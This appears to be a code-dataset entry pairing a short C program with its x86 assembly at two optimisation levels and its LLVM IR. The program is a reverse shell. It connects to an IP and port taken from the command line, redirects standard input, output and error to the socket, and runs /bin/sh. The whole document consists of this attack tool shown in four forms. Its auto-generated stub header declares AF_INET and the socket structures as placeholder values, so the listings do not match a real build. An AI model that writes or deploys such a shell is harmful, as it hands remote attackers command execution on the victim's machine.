#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct sockaddr_in {
  int member_0;
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_addr;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ atoi(char *);
int connect(int, struct sockaddr *, int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, int /*<<< orphan*/ *, int /*<<< orphan*/ *);
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ htons(int /*<<< orphan*/);
int /*<<< orphan*/ inet_pton(int /*<<< orphan*/, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ printf(char *, char *);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int main(int argc, char **argv) {
  int connfd;
  struct sockaddr_in servAddr = {sizeof(struct sockaddr_in)};
  if (argc != 3) {
    printf("usage: ./%s ip port\n", argv[0]);
    exit(-1);
  }
  servAddr.sin_family = AF_INET;
  inet_pton(AF_INET, argv[1], &servAddr.sin_addr);
  servAddr.sin_port = htons(atoi(argv[2]));
  if (-1 == (connfd = socket(AF_INET, SOCK_STREAM, 0))) {
    perror("socket");
    return -1;
  }
  if (-1 ==
      connect(connfd, (struct sockaddr *)&servAddr, sizeof(struct sockaddr))) {
    perror("connect");
    return -1;
  }
  dup2(connfd, 0);
  dup2(connfd, 1);
  dup2(connfd, 2);
  execve("/bin/sh", NULL, NULL);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    0xe43(%rip),%rax
mov    %rax,-0x28(%rbp)
mov    0xe40(%rip),%rax
mov    %rax,-0x20(%rbp)
cmpl   $0x3,-0x8(%rbp)
je     11f3 <main+0x53>
mov    -0x10(%rbp),%rax
mov    (%rax),%rsi
lea    0xe2c(%rip),%rdi
call   1050 <printf@plt>
mov    $0xffffffff,%edi
call   10a0 <exit@plt>
mov    0x2dee(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x1c(%rbp)
mov    0x2de2(%rip),%rax
mov    (%rax),%edi
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rsi
lea    -0x28(%rbp),%rdx
add    $0x8,%rdx
call   1070 <inet_pton@plt>
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
call   1090 <atoi@plt>
mov    %eax,%edi
call   1030 <htons@plt>
mov    %eax,-0x24(%rbp)
mov    0x2dad(%rip),%rax
mov    (%rax),%edi
mov    0x2d94(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10c0 <socket@plt>
mov    %eax,%ecx
mov    %ecx,-0x14(%rbp)
mov    $0xffffffff,%eax
cmp    %ecx,%eax
jne    1277 <main+0xd7>
lea    0xdbf(%rip),%rdi
call   1080 <perror@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    12ed <main+0x14d>
mov    -0x14(%rbp),%edi
lea    -0x28(%rbp),%rsi
mov    $0x4,%edx
call   10b0 <connect@plt>
mov    %eax,%ecx
mov    $0xffffffff,%eax
cmp    %ecx,%eax
jne    12af <main+0x10f>
lea    0xd8e(%rip),%rdi
call   1080 <perror@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    12ed <main+0x14d>
mov    -0x14(%rbp),%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    -0x14(%rbp),%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    -0x14(%rbp),%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xd5a(%rip),%rdi
xor    %eax,%eax
mov    %eax,%edx
mov    %rdx,%rsi
call   1060 <execve@plt>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %rbx
sub    $0x18,%rsp
mov    %rsi,%rbx
mov    0xe59(%rip),%eax
mov    %eax,0x10(%rsp)
mov    0xe46(%rip),%rax
mov    %rax,0x8(%rsp)
cmp    $0x3,%edi
jne    1280 <main+0xe0>
mov    0x2e19(%rip),%rbp
mov    0x0(%rbp),%edi
mov    %edi,0x14(%rsp)
mov    0x8(%rbx),%rsi
lea    0x10(%rsp),%rdx
call   1070 <inet_pton@plt>
mov    0x10(%rbx),%rdi
call   1090 <atoi@plt>
mov    %eax,%edi
call   1030 <htons@plt>
mov    %eax,0xc(%rsp)
mov    0x0(%rbp),%edi
mov    0x2dd6(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10c0 <socket@plt>
cmp    $0xffffffff,%eax
je     1264 <main+0xc4>
mov    %eax,%ebp
lea    0x8(%rsp),%rsi
mov    %eax,%edi
mov    $0x4,%edx
call   10b0 <connect@plt>
cmp    $0xffffffff,%eax
je     126d <main+0xcd>
xor    %ebx,%ebx
mov    %ebp,%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    %ebp,%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    %ebp,%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xde2(%rip),%rdi
xor    %esi,%esi
xor    %edx,%edx
call   1060 <execve@plt>
mov    %ebx,%eax
add    $0x18,%rsp
pop    %rbx
pop    %rbp
ret
lea    0xdba(%rip),%rdi
jmp    1274 <main+0xd4>
lea    0xdb8(%rip),%rdi
call   1080 <perror@plt>
mov    $0xffffffff,%ebx
jmp    125b <main+0xbb>
mov    (%rbx),%rsi
lea    0xd86(%rip),%rdi
call   1050 <printf@plt>
mov    $0xffffffff,%edi
call   10a0 <exit@plt>

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, i32, i32, i32 }
%struct.sockaddr = type { i32 }
@__const.main.servAddr = %struct.sockaddr_in { i32 16, i32 0, i32 0, i32 0 }
@.str = [21 x i8] c"usage: ./%s ip port\0A\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str.1 = [7 x i8] c"socket\00"
@.str.2 = [8 x i8] c"connect\00"
@.str.3 = [8 x i8] c"/bin/sh\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca %struct.sockaddr_in
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%8 = bitcast %struct.sockaddr_in* %7 to i8*
%9 = load i32, i32* %4
%10 = icmp ne i32 %9, 3
br i1 %10, label %11, label %17
11: ; preds = %2
%12 = load i8**, i8*** %5
%13 = getelementptr inbounds i8*, i8** %12, i64 0
%14 = load i8*, i8** %13
%15 = call i32 @printf(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str, i64 0, i64 0), i8* %14)
%16 = call i32 @exit(i32 -1)
unreachable
17: ; preds = %2
%18 = load i32, i32* @AF_INET
%19 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 3
store i32 %18, i32* %19
%20 = load i32, i32* @AF_INET
%21 = load i8**, i8*** %5
%22 = getelementptr inbounds i8*, i8** %21, i64 1
%23 = load i8*, i8** %22
%24 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 2
%25 = call i32 @inet_pton(i32 %20, i8* %23, i32* %24)
%26 = load i8**, i8*** %5
%27 = getelementptr inbounds i8*, i8** %26, i64 2
%28 = load i8*, i8** %27
%29 = call i32 @atoi(i8* %28)
%30 = call i32 @htons(i32 %29)
%31 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 1
store i32 %30, i32* %31
%32 = load i32, i32* @AF_INET
%33 = load i32, i32* @SOCK_STREAM
%34 = call i32 @socket(i32 %32, i32 %33, i32 0)
store i32 %34, i32* %6
%35 = icmp eq i32 -1, %34
br i1 %35, label %36, label %38
36: ; preds = %17
%37 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.1, i64 0, i64 0))
store i32 -1, i32* %3
br label %53
38: ; preds = %17
%39 = load i32, i32* %6
%40 = bitcast %struct.sockaddr_in* %7 to %struct.sockaddr*
%41 = call i32 @connect(i32 %39, %struct.sockaddr* %40, i32 4)
%42 = icmp eq i32 -1, %41
br i1 %42, label %43, label %45
43: ; preds = %38
%44 = call i32 @perror(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.2, i64 0, i64 0))
store i32 -1, i32* %3
br label %53
45: ; preds = %38
%46 = load i32, i32* %6
%47 = call i32 @dup2(i32 %46, i32 0)
%48 = load i32, i32* %6
%49 = call i32 @dup2(i32 %48, i32 1)
%50 = load i32, i32* %6
%51 = call i32 @dup2(i32 %50, i32 2)
%52 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.3, i64 0, i64 0), i32* null, i32* null)
store i32 0, i32* %3
br label %53
53: ; preds = %45, %43, %36
%54 = load i32, i32* %3
ret i32 %54
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, i32, i32, i32 }
%struct.sockaddr = type { i32 }
@__const.main.servAddr = %struct.sockaddr_in { i32 16, i32 0, i32 0, i32 0 }
@.str = [21 x i8] c"usage: ./%s ip port\0A\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str.1 = [7 x i8] c"socket\00"
@.str.2 = [8 x i8] c"connect\00"
@.str.3 = [8 x i8] c"/bin/sh\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca %struct.sockaddr_in
%4 = bitcast %struct.sockaddr_in* %3 to i8*
%5 = icmp eq i32 %0, 3
br i1 %5, label %10, label %6
6: ; preds = %2
%7 = load i8*, i8** %1
%8 = tail call i32 @printf(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str, i64 0, i64 0), i8* %7)
%9 = tail call i32 @exit(i32 -1)
unreachable
10: ; preds = %2
%11 = load i32, i32* @AF_INET
%12 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 3
store i32 %11, i32* %12
%13 = getelementptr inbounds i8*, i8** %1, i64 1
%14 = load i8*, i8** %13
%15 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 2
%16 = call i32 @inet_pton(i32 %11, i8* %14, i32* %15)
%17 = getelementptr inbounds i8*, i8** %1, i64 2
%18 = load i8*, i8** %17
%19 = call i32 @atoi(i8* %18)
%20 = call i32 @htons(i32 %19)
%21 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 1
store i32 %20, i32* %21
%22 = load i32, i32* @AF_INET
%23 = load i32, i32* @SOCK_STREAM
%24 = call i32 @socket(i32 %22, i32 %23, i32 0)
%25 = icmp eq i32 %24, -1
br i1 %25, label %26, label %28
26: ; preds = %10
%27 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.1, i64 0, i64 0))
br label %39
28: ; preds = %10
%29 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%30 = call i32 @connect(i32 %24, %struct.sockaddr* %29, i32 4)
%31 = icmp eq i32 %30, -1
br i1 %31, label %32, label %34
32: ; preds = %28
%33 = call i32 @perror(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.2, i64 0, i64 0))
br label %39
34: ; preds = %28
%35 = call i32 @dup2(i32 %24, i32 0)
%36 = call i32 @dup2(i32 %24, i32 1)
%37 = call i32 @dup2(i32 %24, i32 2)
%38 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.3, i64 0, i64 0), i32* null, i32* null)
br label %39
39: ; preds = %34, %32, %26
%40 = phi i32 [ -1, %26 ], [ -1, %32 ], [ 0, %34 ]
ret i32 %40
}